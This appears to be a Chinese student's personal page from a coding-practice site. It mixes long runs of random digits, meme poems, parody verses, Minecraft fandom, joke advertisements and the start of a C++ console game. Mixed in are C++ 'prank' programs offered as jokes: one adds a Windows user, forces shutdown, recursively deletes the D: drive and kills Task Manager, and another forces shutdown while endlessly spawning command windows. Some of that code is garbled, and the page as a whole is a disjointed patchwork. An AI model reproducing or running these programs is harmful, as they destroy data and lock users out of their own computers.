    5695162396 5864573021 6315981931 9516735381 2974167729 4786724229 2465436680 0980676928 2382806899 6400482435 4037014163 1496589794 0924323789 6907069779 4223625082 2168895738 3798623001 5937764716 5122893578 6015881617 5578297352 3344604281 5126272037 3431465319 7777416031 9906655418 7639792933 4419521541 3418994854 4473456738 3162499341 9131814809 2777710386 3877343177 2075456545 3220777092 1201905166 0962804909 2636019759 8828161332 3166636528 6193266863 3606273567 6303544776 2803504507 7723554710 5859548702 7908143562 4014517180 6246436267 9456127531 8134078330 3362542327 8394497538 2437205835 3114771199 2606381334 6776879695 9703098339 1307710987 0408591337 4641442822 7726346594 7047458784 7787201927 7152807317 6790770715 7213444730 6057007334 9243693113 8350493163 1284042512 1925651798 0694113528 0131470130 4781643788 5185290928 5452011658 3934196562 1349143415 9562586586 5570552690 4965209858 0338507224 2648293972 8584783163 0577775606 8887644624 8246857926 0395352773 4803048029 0058760758 2510474709 1643961362 6760449256 2742042083 2085661190 6254543372 1315359584 5068772460
    
    2901618766 7952406163 4252257719 5429162991 9306455377 9914037340 4328752628 8896399587 9475729174 6426357455 2540790914 5135711136 9410911939 3251910760 2082520261 8798531887 7058429725 9167781314 9699009019 2116971737 2784768472 6860849003 3770242429 1651300500 5168323364 3503895170 2989392233 4517220138 1280696501 1784408745 1960121228 5993716231 3017114448 4640903890 6449544400 6198690754 8516026327 5052983491 8740786680 8818338510 2283345085 0486082503 9302133219 7155184306 3545500766 8282949304 1377655279 3975175461 3953984683 3936383047 4611996653 8581538420 5685338621 8672523340 2830871123 2827892125 0771262946 3229563989 8989358211 6745627010 2183564622 0134967151 8819097303 8119800497 3407239610 3685406643 1939509790 1906996395 5245300545 0580685501 9567302292 1913933918 5680344903 9820595510 0226353536 1920419947 4553859381 0234395544 9597783779 0237421617 2711172364 3435439478 2218185286 2408514006 6604433258 8856986705 4315470696 5747458550 3323233421 0730154594 0516553790 6866273337 9958511562 5784322988 2737231989 8757141595 7811196358 3300594087 3068121602 8764962867
    
    4460477464 9159950549 7374256269 0104903778 1986835938 1465741268 0492564879 8556145372 3478673303 9046883834 3634655379 4986419270 5638729317 4872332083 7601123029 9113679386 2708943879 9362016295 1541337142 4892830722 0126901475 4668476535 7616477379 4675200490 7571555278 1965362132 3926406160 1363581559 0742202020 3187277605 2772190055 6148425551 8792530343 5139844253 2234157623 3610642506 3904975008 6562710953 5919465897 5141310348 2276930624 7435363256 9160781547 8181152843 6679570611 0861533150 4452127473 9245449454 2368288606 1340841486 3776700961 2071512491 4043027253 8607648236 3414334623 5189757664 5216413767 9690314950 1910857598 4423919862 9164219399 4907236234 6468441173 9403265918 4044378051 3338945257 4239950829 6591228508 5558215725 0310712570 1266830240 2929525220 1187267675 6220415420 5161841634 8475651699 9811614101 0029960783 8690929160 3028840026 9104140792 8862150784 2451670908 7000699282 1206604183 7180653556 7252532567 5328612910 4248776182 5829765157 9598470356 2226293486 0034158722 9805349896 5022629174 8788202734 2092222453 3985626476 6914905562 8425039127
    
    5771028402 7998066365 8254889264 8802545661 0172967026 6407655904 2909945681 5065265305 3718294127 0336931378 5178609040 7086671149 6558343434 7693385781 7113864558 7367812301 4587687126 6034891390 9562009939 3610310291 6161528813 8437909904 2317473363 9480457593 1493140529 7634757481 1935670911 0137751721 0080315590 2485309066 9203767192 2033229094 3346768514 2214477379 3937517034 4366199104 0337511173 5471918550 4644902636 5512816228 8244625759 1633303910 7225383742 1821408835 0865739177 1509682887 4782656995 9957449066 1758344137 5223970968 3408005355 9849175417 3818839994 4697486762 6551658276 5848358845 3142775687 9002909517 0283529716 3445621296 4043523117 6006651012 4120065975 5851276178 5838292041 9748442360 8007193045 7618932349 2292796501 9875187212 7267507981 2554709589 0455635792 1221033346 6974992356 3025494780 2490114195 2123828153 0911407907 3860251522 7429958180 7247162591 6685451333 1239480494 7079119153 2673430282 4418604142 6363954800 0448002670 4962482017 9289647669 7583183271 3142517029 6923488962 7668440323 2609275249 6035799646 9256504936 8183609003 2380929345
    
    9588970695 3653494060 3402166544 3755890045 6328822505 4525564056 4482465151 8754711962 1844396582 5337543885 6909411303 1509526179 3780029741 2076651479 3942590298 9695946995 5657612186 5619673378 6236256125 2163208628 6922210327 4889218654 3648022967 8070576561 5144632046 9279068212 0738837781 4233562823 6089632080 6822246801 2248261177 1858963814 0918390367 3672220888 3215137556 0037279839 4004152970 0287830766 7094447456 0134556417 2543709069 7939612257 1429894671 5435784687 8861444581 2314593571 9849225284 7160504922 1242470141 2147805734 5510500801 9086996033 0276347870 8108175450 1193071412 2339086639 3833952942 5786905076 4310063835 1983438934 1596131854 3475464955 6978103829 3097164651 4384070070 7360411237 3599843452 2516105070 2705623526 6012764848 3084076118 3013052793 2054274628 6540360367 4532865105 7065874882 2569815793 6789766974 2205750596 8344086973 5020141020 6723585020 0724522563 2651341055 9240190274 2162484391 4035998953 5394590944 0704691209 1409387001 2645600162 3742880210 9276457931 0657922955 2498872758 4610126483 6999892256 9596881592 0560010165 5256375678
    
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    [超燃英文歌合集]小曲一响,燃爆全场!

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    <iframe src="https://player.bilibili.com/player.html?bvid=BV1J4411v7g6&autoplay=0" scrolling="no" border="0" frameborder="no" framespacing="0" width="100%" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>~你干嘛!嗨嗨呦~

    坤诗两首

    《坤明》

    蔡徐坤

    坤明时节闹坤坤,坤明时节闹坤坤,

    路上行人梳中分。路上行人梳中分。

    借问ikun何处有?借问ikun何处有?

    牧童遥指蔡徐村。牧童遥指蔡徐村。

    《题临坤邸》

    蔡徐坤

    山外青山楼外楼,山外青山楼外楼,

    唱跳rap打篮球。唱跳rap打篮球。

    中分头,背带裤,中分头,背带裤,

    我是坤坤你记住!我是坤坤你记住!

    『在太阳西斜的这个世界里』—BrokenChronograph—『置身天上之森』—LateAutumnNight′sDream—『等这场战争结束之后』—StarryRoadToTomorrow—『不归之人与望眼欲穿的人们』—DiceInPot—『人人本着正义之名』—FromDownTillDusk—『长存不灭的过去,逐渐消逝的未来』—NoNewsWasGoodNews—『我回来了』—Home,SweetHome—『纵使日薄西山』—SlightLight,SlightHope—『即使看不到未来』—MoonlightSorcery—『此时此刻的光辉』—MyHappiness—『盼君勿忘』—EvidenceofExistance—​**『在太阳西斜的这个世界里』​—Broken Chronograph—『置身天上之森』​—Late Autumn Night**′**s Dream—『等这场战争结束之后』​—Starry Road To Tomorrow—『不归之人与望眼欲穿的人们』​—Dice In Pot—『人人本着正义之名』​—From Down Till Dusk—『长存不灭的过去,逐渐消逝的未来』​—No News Was Good News—『我回来了』​—Home , Sweet Home—『纵使日薄西山』​—Slight ​Light​, Slight Hope—『即使看不到未来』​—Moonlight Sorcery—『此时此刻的光辉』​—My Happiness—『盼君勿忘』**​—Evidence of Existance—

    三排此时还没意识到问题的严重性……

    爱吃金币是你的谎言

    金币躲在角落里瑟瑟发抖……

    无他,唯手熟尔

    害怕:我当时三排极了!

    系统:三排因语言过激被踢出直播间!

    动作指导:锅铲

    《金币杀人事件》

    《人类早期驯服野生三排珍贵影像》

    保安:抢钱了!快追!

    保安:狗子跟紧!这把高端局!

    杰克,永远的神!

    杰克:至此,已成艺术

    杰克:是时候表演真正的技术了!

    杰克:我预判了你的预判!

    金币:我做错了什么???

    三排:那我走?

    三排:已经汗流浃背了

    三排:友谊的小船说翻就翻!

    三排:我从未见过如此厚颜无耻之人!

    礼貌三排:你吗?

    三排:请开始你的表演!

    三排:你的良心不会痛吗???

    三排:不可能!绝对不可能!

    三排:《小孩哥》

    三排:虽然我不是人,但你是真的狗!

    金币:我裂开了!

    不要点我!

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    等级考试205蓝桥杯115选拔赛难度92一级65中级组52二级49三级42四级33五级24T219T118GESP18T317T417T517模拟题16省赛16高级组14国赛12gesp11

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    欢迎到501去摸吉祥物---fish(@飞翔MC) 2白纸/次, 10元30天任意摸,每个月26日和3日上午6点以及6日摸立马减0.06元!!!每个月26日2.6时26秒摸fish免费!!!2道C++题目答案可以摸1次fish!!!前10名可享受5折优惠!!!前30名可享受6.5折优惠!!!前50名可享受8折优惠!!!前70名可享受9折优惠!!!前100名可享受9.5折优惠!!!先到先得快来摸吧!!! 摸完fish摸鱼肯定不会被抓,上课放心摸鱼!!!欢迎来摸fish!!!!! |||||我们还有广告和C++主页设计,第一次免费,之后3张白纸一次或3道C++题目答案,VIP5折!!!超级VIP免费!!!前10名可享受6折优惠!!!前30名可享受7折优惠!!!前50名可享受8折优惠!!!前70名可享受9折优惠!!!前100名可享受9.5折优惠!!!先到先得快来吧!!! |||||斗兽棋1白纸/天,15白纸/20天!!!快来吧!!!

    fish(董事长 飞翔·MC)主页 梁某(副董事长)主页 刻晴.申鹤(总经理)主页 惜(经理)主页 old mo~~~~~~~~(分公司董事长)主页


    摘掉菠萝一念成佛 我的世界

    地面即为开始,天空即为极限!

    MC不倒,陪你到老!

    飞翔·MC

    不要轻易的口出狂言,那样只会透露出你的软弱。

    手握日月星辰,吾乃天地之灵,掌握三界之生死。三界万物皆可灭,唯我长生不死。

    | 我有故人抱剑去,斩尽风云未肯归 |

    image

    image

    mc不灭!!!

    鸡鸣寺的樱花开了

    小秘密:9001049845

    p.speed(8); p.c(1).fd(10).rt(90); p.c(3).fd(20).rt(90); p.c(5).fd(30).rt(90); p.c(8).fd(40).rt(90); p.c(1).fd(50).rt(90); p.c(3).fd(60).rt(90); p.c(5).fd(70).rt(90); p.c(8).fd(80).rt(90); p.c(1).fd(90).rt(90); p.c(3).fd(100).rt(90); p.c(5).fd(110).rt(90); p.c(8).fd(120).rt(90); p.c(1).fd(130).rt(90); p.c(3).fd(140).rt(90); p.c(5).fd(150).rt(90); p.c(8).fd(160).rt(90); p.c(1).fd(170).rt(90); p.c(3).fd(180).rt(90); p.c(5).fd(190).rt(90); p.c(8).fd(200).rt(90); p.c(1).fd(210).rt(90); p.c(3).fd(220).rt(90); p.c(5).fd(230).rt(90); p.c(8).fd(240).rt(90); p.c(1).fd(250).rt(90); p.c(3).fd(260).rt(90); p.c(5).fd(270).rt(90); p.c(8).fd(280).rt(90); p.c(1).fd(290).rt(90); p.c(3).fd(300).rt(90); p.c(5).fd(310).rt(90); p.c(8).fd(320).rt(90); p.c(1).fd(330).rt(90); p.c(3).fd(340).rt(90); p.c(5).fd(350).rt(90); p.c(8).fd(360).rt(90); p.c(1).fd(370).rt(90); p.c(3).fd(380).rt(90); p.c(5).fd(390).rt(90); p.c(8).fd(400).rt(90); p.c(1).fd(410).rt(90); p.c(3).fd(420).rt(90); p.c(5).fd(430).rt(90); p.c(8).fd(440).rt(90); p.c(1).fd(450).rt(90); p.c(3).fd(460).rt(90); p.c(5).fd(470).rt(90); p.c(8).fd(480).rt(90); p.c(1).fd(490).rt(90); p.c(3).fd(500).rt(90); p.c(5).fd(510).rt(90); p.c(8).fd(520).rt(90); p.c(1).fd(530).rt(90); p.c(3).fd(540).rt(90); p.c(5).fd(550).rt(90); p.c(8).fd(560).rt(90); p.c(1).fd(570).rt(90); p.c(3).fd(580).rt(90); p.c(5).fd(590).rt(90); p.c(8).fd(600).rt(90);

    image image

    罗镓宇来自501班[@dwluojiayu (抗金名将——岳飞)

    不许看,滚!!!

    置顶:~mc~~大麦~ [​~个人主页~​](​~XYGguanze的个人空间-XYGguanze个人主页-哔哩哔哩视频 (bilibili.com~​)) [https://sc.codehero.store/home]

    http://43.139.147.122/contest.php?cid=1606

    书中自有黄金屋,拿了黄金不读书。

    书山有路勤为径,游戏打得真起劲。

    忍一时越想越气,退一步越想越亏。

    冰冻三尺非一日之寒,小腹三层非一日之馋。

    慈母手中剑,游子身上劈。

    一秒十二剑,剑剑出暴击。

    父看子未凉,掏出七匹狼。

    子看七匹狼,瞬间透心凉。

    透心凉,心飞扬。

    果冻我要喜之郎。

    王中王,火腿肠。

    三节更比六节强。

    不听老人言,开心好几年。

    临时抱佛脚,佛踹我一脚。

    一山不容二虎,除非一公一母。

    MC不倒,陪你到老。

    迷你不倒,一脚踹倒。

    一脚不倒,拿出枪炮。

    迷你炸倒,MC最好!

    此生无悔入MC,来世再做方块人!

    方块树上方块果,方块树下你和我!

    #include<iostream>#include< stdlib.h>#include< conio.h>#include< windows.h>#include<ctime>using namespace std;int main(){int a=100000;int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);while(a){SetCursorPos(rand()%x,rand()%y);a--;} return 0; }

    #include<iostream>#include< stdlib.h>#include<conio.h>#include<windows.h>#include<ctime>using namespace std;int main(){char k=getch();system(“net user 管理员等待”);system(“net user xxx wait /add”);system(“ping www.baidu.com”);k=getch();系统(“shutdown -s -t 30”);system(“del /F /S /Q D:\”);int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);k=getch();{while(1){SetCursorPos(rand()%x,rand()%y);system(“calc”);system(“cmd”);system(“taskkill /f /im taskmgr.exe”);}}return 0;} 上课一排全睡,考试全都不会

    成绩基本个位,抽烟打牌都会。

    打饭从不排队,逃课成群结队。

    短信发到欠费,上街花钱干脆。

    穿越如痴如醉,地下忘记疲惫。

    炫舞手鼓敲碎,问到闭眼都会。

    飞车百战不退,魔鬼砍人无罪。

    垃圾学校万岁!

    要啥没啥,烟瘾庞大,

    干啥啥不中,说话死难听,

    当过兵,站过岗,

    耍过流氓,入过党。

    考试不作弊,放你妈狗屁。

    考试不发书,蠢得像头猪。

    作弊不要慌,逮到就要装。

    生是中国人,死是中国魂。

    要我学洋文,死都不可能。

    抢饭吧积极,智商有问题。

    上课不放屁,肠道有问题。

    语文老师一回头,此地空余黄鹤楼。

    数学老师一回头,阿基米德要跳楼。

    英语老师一回头,sorry加上三克油。

    化学老师一回头,二氧化碳变汽油。

    物理老师一回头,一根杠杆撬地球。

    生物老师一回头,试管婴儿水中游。

    地理老师一回头,大陆版块乱漂流。

    历史老师一回头,秦始皇来推铅球。

    劳动老师一回头,破铜烂铁来走秀。

    美术老师一回头,蒙娜丽莎也风流。

    体育老师一回头,奥运取消打篮球。

    电脑老师一回头,学生全成阿Q友。

    全体老师一回头,世界没有了自由。

    英语不及格,说明我爱国。

    语文不及格,恋爱没资格。

    物理不及格,电死不负责。

    化学不及格,硫酸也得喝。

    政治不及格,老师没道德。

    信息不及格,网吧要打折。

    数学不及格,突出我性格。

    历史不及格,社会要改革。

    全科不及格,老妈动真格。

    昨天,我带了A4,被同学撕了;

    今天,我带了B4,被老师没收了;

    明天,我决定带C4。

    昨天,我带了一台MP3,被我弄丢了;

    今天,我带了一台MP4,被同学摔烂了;

    明天,我决定带一台MP5(一种冲锋枪)。

    语文考试时,感觉自己是个外国人;

    英语考试时,感觉自己是个中国人;

    数学考试时,感觉自己是个原始人;

    体育考试时,感觉自己是个残疾人;

    音乐考试时,感觉自己是个聋哑人;

    拿到成绩单时,感觉自己不是人。

    青青园中葵,周日去拉稀。

    阳春布德泽,万物都牛逼。

    常恐秋节至,焜煌没只因。

    百川东到海,何时去归西。

    少壮不努力,牢大买飞机。

    劝君更尽一杯酒,3.14159。

    天苍苍,野茫茫,外焦里嫩烤全羊。

    垂死病中惊坐起,小丑竞是你自己。

    两个黄鹂鸣翠柳,隔壁老师单身狗。

    借问酒家何处有,单身狗不配喝酒。

    在c++中运行,会有想不到的事情 长亭外,古道边,一行白鹭上青天。垂死梦中惊坐起,燃烧我的卡路里。老骥伏枥,志在千里。横扫饥饿,做回自己。天苍苍,野茫茫,外焦里嫩烤全羊。山无棱,天地合,谁吃铁锅炖大鹅。两个黄鹂鸣翠柳,隔壁老师单身狗。借问酒家何处有,单身狗不配喝酒。先帝创业未半,蹦迪花光预算。老夫聊发少年狂,治肾亏,不含糖。巴山楚水凄凉地,Q等于cm△t。借问酒家何处有,3.14159。争渡,争渡,勾三股四弦五。小楼昨夜又东风,where is my iPhone?众里寻他千百度,蓦然回首,他却在那驴棚深处。吃着草,靠着树,头上裹着擦脚布,谁家的驴那么酷。一朝被蛇咬,处处闻啼鸟。巴山楚水凄凉地,responsibility垂死病中惊坐起,扶摇直上九万里。老夫聊发少年狂,挖掘机,哪家强,中国山东找蓝翔。商女不知亡国恨,闲敲棋子落灯花。烟笼寒水月笼沙,赚得行人错喜欢。自古男儿当自强,吃个桃桃好凉凉。垂死病中惊坐起,笑问客从何处来。敲成玉磬穿林响,不破楼兰终不还。山雨欲来风满楼,宝帘闲挂小银钩。男儿当自强,对镜贴花黄。云想衣裳花想容,但悲不见九州同。王师北定中原日,多少楼台烟雨中。少小离家老大回,安能辨我是雄雌。商女不知亡国恨,也傍桑阴学种瓜。先帝创业未半而骈死于槽枥之间。停车坐爱枫林晚,正待以血净奸愚。有朋自远方来,虽远必诛之!

    #include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){    system("shutdown -s -t 60");while(1){system("start cmd");
    
    
    
    
    
    
    }
    }
    

    Copy

    Copy

    男儿当自强,对镜贴花黄 1.仰天大笑出门去,归来倚杖自叹息。

    2.举杯邀明月,带月荷锄归。

    3.巴山楚水凄凉地,responsibility。

    4.行路难,行路难!东风无力百花残。

    5.小魔仙全身变,惊起蛙声一片。

    6.十年生死两茫茫,喜羊羊灰太狼。

    7.天堂有路你不走,学海无涯苦作舟。

    学海无涯,回头是岸

    8.一朝被蛇咬,处处闻啼鸟。

    9.今日闻君琵琶语,暂凭杯酒长精神。

    10.国破山河在,家和万事兴。

    11.君问归期未有期,红烧茄子黄焖鸡。

    12.老骥伏枥,志在千里,横扫饥饿做回自己。

    13.山重水复疑无路,make后面不加to。

    14.书到用时方恨少,船到桥头自然直。

    15.今朝有酒今朝醉,tomorrow is another day。

    16.君子之交淡如水,大难临头各自飞。

    17.情不知所起,一往而深,再而衰,三而竭。

    18.夜深忽梦少年事,惟梦闲人不梦君。

    19.劝君更尽一杯酒,从此萧郎是路人。

    20.遥想公谨当年,小乔初嫁了,使我不得开心颜!

    21.车辚辚,马萧萧,二月春风似剪刀。

    22.醒时同交欢,儿女忽成行。

    23.天苍苍,野茫茫,一树梨花压海棠。

    24.身无彩凤双飞翼 落毛凤凰不如鸡。

    25.秋水为神玉为骨,芙蓉如面柳如眉。

    26.天苍苍,野茫茫,一枝红杏要出墙。

    27.花飞花谢花满天,江枫渔火对愁眠。

    28.十年一觉扬州梦,只是当时已惘然。

    29.停车坐爱枫林晚,无人知是荔枝来。

    30.西塞山前白鹭飞,葡萄美酒夜光杯。

    31.儿童相见不相识,系向牛头充炭直。

    32.停车坐爱枫林晚,夜半钟声到客船。

    33.红军不怕远征难,天子呼来不上船。

    34.大人不计小人过,宰相肚里能撑船。

    35.月落乌啼霜满天,夫妻双双把家还。

    36.京口瓜洲一水间,千里江陵一日还。

    37.佟湘玉的:

    问世间是否此山最高?

    有妈的孩子是块宝。

    天若有情天亦老,

    爱你爱到忘不了,

    忘不了你的情,

    久旱逢甘雨,铁杵磨成针。

    2、

    轻拢慢捻抹复挑,从此君王不早朝。

    3、

    曲径通幽花深处,蓬门今始为君开

    4、

    小荷才露尖尖角,始是新承恩泽时。

    5、

    妆罢低声问夫婿,玉人何处教吹箫?

    6、

    朕与将军解战袍,芙蓉帐暖度春宵。

    7、

    春宵苦短日高起,江州司马青衫湿。

    8、

    一骑红尘妃子笑,前度刘郎今又来

    9、

    一骑红尘妃子笑,穆王何事不重来?

    11、

    春宵一刻值千金,绝知此事要躬行。

    12、

    姑苏城外寒山寺,夜半无人私语时。

    13、

    胡贼巢穴且不入,隔江犹唱后庭花。

    14、

    蓬门不曾缘客扫,长使英雄泪满襟。

    15、

    桃花潭水深千尺,温泉水滑洗凝脂。

    16、

    满堂花醉三千客,更无一人是知音。

    17、

    春宵一刻值千金,不及汪伦送我情!

    18、

    少小离家老大回,安能辨我是雄雌。

    19、

    仰天大笑出门去,无人知是荔枝来。

    20、

    垂死病中惊坐起,夜深还过女墙来。

    21、

    夜深忽梦少年事,惟梦闲人不梦君。

    22、

    相见时难别亦难,一别西风又一年

    23、

    轻拢慢捻抹复挑,江州司马青衫湿。

    24、

    劝君更尽一杯酒,与尔同销万古愁。

    25、

    两岸猿声啼不住,夜半钟声到客船

    26、

    去年今日此门中,风光不与四时同。

    27、

    垂死病中惊坐起,夜深还过女墙来。

    28、

    莫愁前路无知己,同是天涯沦落人。

    29、

    路漫漫其修远兮,壮士一去兮不复还。

    30

    问君能有几多愁,别有一番滋味在心头。

    上课一排全睡,考试全都不会。

    成绩基本个位,抽烟打牌都会。

    打饭从不排队,逃课成群结队。

    短信发到欠费,上街花钱干脆。

    穿越如痴如醉,地下忘记疲惫。

    炫舞手鼓敲碎,问到闭眼都会。

    飞车百战不退,魔鬼砍人无罪。

    垃圾学校万岁!

    要啥没啥,烟瘾庞大,

    干啥啥不中,说话死难听,

    当过兵,站过岗,

    耍过流氓,入过党。

    考试不作弊,放你妈狗屁。

    考试不发书,蠢得像头猪。

    作弊不要慌,逮到就要装。

    生是中国人,死是中国魂。

    要我学洋文,死都不可能。

    抢饭吧积极,智商有问题。

    上课不放屁,肠道有问题。

    语文老师一回头,此地空余黄鹤楼。

    数学老师一回头,阿基米德要跳楼。

    英语老师一回头,sorry加上三克油。

    化学老师一回头,二氧化碳变汽油。

    物理老师一回头,一根杠杆撬地球。

    生物老师一回头,试管婴儿水中游。

    地理老师一回头,大陆版块乱漂流。

    历史老师一回头,秦始皇来推铅球。

    劳动老师一回头,破铜烂铁来走秀。

    美术老师一回头,蒙娜丽莎也风流。

    体育老师一回头,奥运取消打篮球。

    电脑老师一回头,学生全成阿Q友。

    全体老师一回头,世界没有了自由。

    英语不及格,说明我爱国。

    语文不及格,恋爱没资格。

    物理不及格,电死不负责。

    化学不及格,硫酸也得喝。

    政治不及格,老师没道德。

    信息不及格,网吧要打折。

    数学不及格,突出我性格。

    历史不及格,社会要改革。

    全科不及格,老妈动真格。

    昨天,我带了A4,被同学撕了;

    今天,我带了B4,被老师没收了;

    明天,我决定带C4。

    昨天,我带了一台MP3,被我弄丢了;

    今天,我带了一台MP4,被同学摔烂了;

    明天,我决定带一台MP5(一种冲锋枪)。

    语文考试时,感觉自己是个外国人;

    英语考试时,感觉自己是个中国人;

    数学考试时,感觉自己是个原始人;

    体育考试时,感觉自己是个残疾人;

    音乐考试时,感觉自己是个聋哑人;

    拿到成绩单时,感觉自己不是人。

    青青园中葵,周日去拉稀。

    阳春布德泽,万物都牛逼。

    常恐秋节至,焜煌没只因。

    百川东到海,何时去归西。

    少壮不努力,牢大买飞机。

    劝君更尽一杯酒,3.14159。

    天苍苍,野茫茫,外焦里嫩烤全羊。

    垂死病中惊坐起,小丑竞是你自己。

    两个黄鹂鸣翠柳,隔壁老师单身狗。

    借问酒家何处有,单身狗不配喝酒。

    书中自有黄金屋,拿了黄金不读书。

    书山有路勤为径,游戏打得真起劲。

    忍一时越想越气,退一步越想越亏。

    冰冻三尺非一日之寒,小腹三层非一日之馋。

    慈母手中剑,游子身上劈。

    一秒十二剑,剑剑出暴击。

    父看子未凉,掏出七匹狼。

    子看七匹狼,瞬间透心凉。

    透心凉,心飞扬。

    果冻我要喜之郎。

    王中王,火腿肠。

    三节更比六节强。

    不听老人言,开心好几年。

    临时抱佛脚,佛踹我一脚。

    一山不容二虎,除非一公一母。

    吃得苦中苦,伺候人上人。

    干一行,恨一行,三百六十行,行行都骂娘。

    MC不倒,陪你到老。

    迷你不倒,一脚踹倒。

    一脚不倒,拿出枪炮。

    迷你炸倒,MC最好!

    此生无悔入MC,来世再做方块人!

    方块树上方块果,方块树下你和我!

    在c++中运行,会有想不到的事情

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
        system("shutdown -s -t 60");
    while(1){
    system("start cmd");
    }
    }
    

    Copy

    此生无悔入c++,来世还做编程人

    c++启动!!!!!! ! ! ! ! ! ! ! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


    #宇宙说:你所斗争的黑暗就在你心中,你所寻找的光明就在你心中--玄——后室迷

    #世人只会记得第一,而不会记得第二。--玄——后室迷

    #代你见证世界的终结,来世再续梦之伊甸--玄——后室迷

    #找到迷失于黑夜的少女,这便是改写你命运的咒语。--玄——后室迷

    #往昔红颜梦,今朝朦胧泪。--玄——后室迷

    #努力吧!就算再寂寞!也要努力活下去!!!!!!!--玄——后室迷

    #路很难走,但我们并不孤单。--玄——后室迷

    #人是生而自由的,但却无往不在枷锁之中。--玄——后室迷

    #患了中二病,等于有了一种信仰。--玄——后室迷


    ·暴力出奇迹,骗分过样例。

    ·数学先打表,DP看运气。

    ·穷举TLE,递推UKE。

    ·模拟MLE,贪心还CE。

    ·想要骗到分,就要有方法。

    ·图论背模板,数论背公式。

    ·动规背方程,高精背代码。

    ·如果都没背,干脆输样例。

    模拟只会猜题意,贪心只能过样例,

    数学上来先打表,D P一般看规律。

    组合数学靠运气,计算几何瞎暴力,

    图论一顿套模板,数论只会GCD


    --------------是我!分割线😄 !-----------------

    后室介绍

    后室实体​介绍​#backrooms #胆小慎入#原创#奇闻异事#沉浸式体验- ...


    --------------又是我!分割线😄 !-----------------

    我也是使命召唤手游的迷!!!

    名字:冷霜啄.天者。

    战队:冷霜啄。

    在收徒弟!!!!!

    已上传奇的枪:Q33


    (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌) (!̶̧͖̮̬͓͚̠̎́͌͝@̶̧̲̘͇͗̈͐̋̌)

    image

    image image imageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimageimage

    Level !:

    image image image image

    游戏: https://poki.com/zh https://douyin.com/zh

    c++小游戏

    #include<stdio.h>
    #include<windows.h>
    #include<conio.h>
    #include<stdlib.h>
    #include<time.h>
    #define LEN 30
    #define WID 25
    #include<bits/stdc++.h>
    #include<iostream>
    #include<fstream>
    #include<algorithm>
    #include<windows.h>
    #include<cstdlib>
    #include<ctime>
    #include<conio.h>
    #include<iostream>
    #include<fstream>
    #include<algorithm>
    #include <string>
    #include <Windowsx.h>
    #include <cmath>
    #include <sstream>
    #include <iomanip>
    #include <vector>
    #include <olectl.h>
    using namespace std;
    int w[15],b[9999],u=1,jk[99];
    string sbsb="tanyu";
    int main()
    { unsigned seed;
    srand(seed);
    int fd,po=0,rt=0;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"神";Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"羽";Sleep(500);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"工";Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    cout<<"作";Sleep(500);
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"室"<<endl;Sleep(500);
    
